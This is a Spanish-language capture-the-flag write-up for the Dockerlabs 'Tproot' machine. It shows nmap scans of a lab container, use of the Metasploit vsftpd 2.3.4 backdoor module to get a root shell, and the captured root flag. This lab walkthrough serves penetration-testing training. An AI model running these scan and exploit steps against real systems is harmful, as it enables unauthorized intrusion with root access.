



Write-Up: Máquina "Tproot"

-  **Plataforma:** Dockerlabs
 -  **Dificultad:** Muy fácil
 -  **Autor:** Joaquín Picazo
-

Metodología de Pentesting

El proceso se realizó siguiendo la siguiente metodología:

- 1 **Reconocimiento** – Recolección de información general sobre la máquina objetivo.
 - 2 **Escaneo y Enumeración** – Identificación de servicios, tecnologías y versiones en uso.
 - 3 **Explotación** – Uso de vulnerabilidades encontradas para obtener acceso al sistema.
 - 4 **Escalada de Privilegios y Post-Explotación** – Obtención de permisos elevados hasta lograr acceso total para realizar una extracción de información.
-

1. Reconocimiento y Recolección de Información

Hago un escaneo general solo para ver los puertos abiertos.

```
(cypher@kali)-[~]
$ nmap -p- --open -vvv 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 13:58 -03
Initiating ARP Ping Scan at 13:58
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 13:58, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:58
Completed Parallel DNS resolution of 1 host. at 13:58, 0.15s elapsed
DNS resolution of 1 IPs took 0.15s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0
Initiating SYN Stealth Scan at 13:58
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 21/tcp on 172.17.0.2
Completed SYN Stealth Scan at 13:58, 3.47s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000035s latency).
Scanned at 2025-03-21 13:58:30 -03 for 4s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
21/tcp    open  ftp     syn-ack ttl 64
80/tcp    open  http    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.08 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

2. Escaneo y Enumeración

Hago un escaneo especificando puertos para encontrar sus servicios y versiones detalladamente.

```
(root@kali)-[/home/cypher]
# nmap -p 80,21 -sV -sC -vvv 172.17.0.2

PORT      STATE SERVICE REASON          VERSION
21/tcp    open  ftp      syn-ack ttl 64  vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/var/ftp".
80/tcp    open  http     syn-ack ttl 64  Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-methods:
|_Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```

Lo que puede llamar la atención, es la versión del servicio tcp, la cual es "vsftpd 2.3.4". Me parece que existe un exploit en metasploit para eso.

3. Explotación de Vulnerabilidades

Busco en metasploit la versión encontrada anteriormente del servicio ftp.

```
(root@kali)-[/home/cypher]
# msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

.:ok000kdc'          'cdk000ko:.
SP,x00000000000000c    c0000000000000x.
:0000000000000000k,    ,k000000000000000:
'0000000000kkk00000: :00000000000000000'
o00000000.MMMM,o000o0000l.MMMM,00000000o
d00000000.MMMMMM.c00000c.MMMMMM,00000000x
l00000000.MMMMMMMMM;d;MMMMMMMMM,00000000l
.00000000.MMM;MMMMMMMMMMMM;MMM,00000000.
c0000000.MMM,00c.MMMM'o00.MMM,0000000c
o000000.MMM,0000.MMM:0000.MMM,000000o
l00000.MMM,0000.MMM:0000.MMM,00000l
;0000'MMM,0000.MMM:0000.MMM;0000;
.d00o'WM,0000occc0000.MX'x00d.
,kol'M,0000000000000.M dOk,
:kk;.0000000000000.;0k:
;k00000000000000k:
bandit ,x000000000000x,
.l0000000l.
,dOd,
.

= [ metasploit v6.4.34-dev ]
+ -- -- [ 2461 exploits - 1267 auxiliary - 431 post ]
+ -- -- [ 1471 payloads - 49 encoders - 11 nops ]
+ -- -- [ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

search vsftpd 2.3.4msf6 > search vsftpd 2.3.4
```

```
Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -  -                                     -              -    -    -    -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
```

Ahora elijo la opción 0 (la primera) y debo ver que parámetros necesito otorgar para que funcione.

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:
  Id  Name
  --  --
  => 0  Automatic

Check supported:
No

Basic options:
  Name      Current Setting  Required  Description
  -
  RHOSTS    172.17.0.2      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     21               yes       The target port (TCP)

Payload information:
Space: 2000
Avoid: 0 characters
```

Ingresa los parámetros necesarios para que funcione y ejecuto.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 172.17.0.2:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 3 opened (172.17.0.1:33451 -> 172.17.0.2:6200) at 2025-03-21 14:25:09 -0300
```

4. Escalada de Privilegios y Post-explotación

Finalmente se puede notar que ya ingresé con permisos de usuario root. Esto me permitió poder leer root.txt sin problema.

```
whoami
root
pwd
/tmp/vsftpd-2.3.4-infected
cd ..
cd ..
cd root
cat root.txt
261fd3f32200f950f231816b4e9a0594
pwd
/root
```

Banderas y Resultados

- ✓ **Root:** Se ingresó con privilegios de usuario root.
- ✓ **Bandera:** Se obtuvo la bandera exitosamente al leer root.txt